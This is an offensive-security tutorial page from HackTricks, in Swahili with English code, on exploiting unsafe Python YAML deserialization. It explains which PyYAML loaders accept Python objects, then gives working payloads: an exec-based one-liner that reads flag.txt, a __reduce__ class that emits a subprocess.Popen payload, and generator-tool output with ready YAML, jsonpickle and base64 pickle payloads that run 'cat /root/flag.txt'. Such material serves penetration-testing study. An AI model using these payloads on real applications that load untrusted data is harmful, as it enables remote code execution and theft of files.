Python Yaml Deserialization

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Yaml Deserialization

Yaml maktaba za python pia zina uwezo wa kuweka vitu vya python na si tu data za kawaida:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Angalia jinsi tuple si aina ya data ya msingi na kwa hivyo ilitolewa serialized. Na jambo hilo lilitokea pia na range (iliyotolewa kutoka kwa builtins).

safe_load() au safe_load_all() hutumia SafeLoader na haziungi mkono uhamasishaji wa vitu vya darasa. Mfano wa uhamasishaji wa vitu vya darasa:

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Kifungu kilichopita kilitumia unsafe_load kupakia darasa la python lililosanidiwa. Hii ni kwa sababu katika toleo >= 5.1, hairuhusu kufanya deserialization ya darasa lolote la python lililosanidiwa au sifa za darasa, bila Loader iliyotajwa katika load() au Loader=SafeLoader.

Msingi wa Shambulio

Mfano wa jinsi ya kutekeleza usingizi:

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Vulnerable .load("<content>") without Loader

Toleo za zamani za pyyaml zilikuwa na udhaifu wa mashambulizi ya deserialization ikiwa haukutaja Loader unapopakua kitu: yaml.load(data)

Unaweza kupata maelezo ya udhaifu hapa. Utekelezaji uliopendekezwa katika ukurasa huo ni:

yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Au unaweza pia kutumia hii one-liner iliyotolewa na @ishaack:

yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}

Kumbuka kwamba katika matoleo ya hivi karibuni huwezi tena kuita .load() bila Loader na FullLoader haiko tena hatarini kwa shambulio hili.

RCE

Payloads za kawaida zinaweza kuundwa kwa kutumia moduli za Python YAML kama PyYAML au ruamel.yaml. Payloads hizi zinaweza kutumia udhaifu katika mifumo inayofanya deserialization ya ingizo lisiloaminika bila kusafishwa ipasavyo.

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Chombo cha Kuunda Payloads

Chombo https://github.com/j0lt-github/python-deserialization-attack-payload-generator kinaweza kutumika kuunda payloads za python deserialization ili kutumia Pickle, PyYAML, jsonpickle na ruamel.yaml:

bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks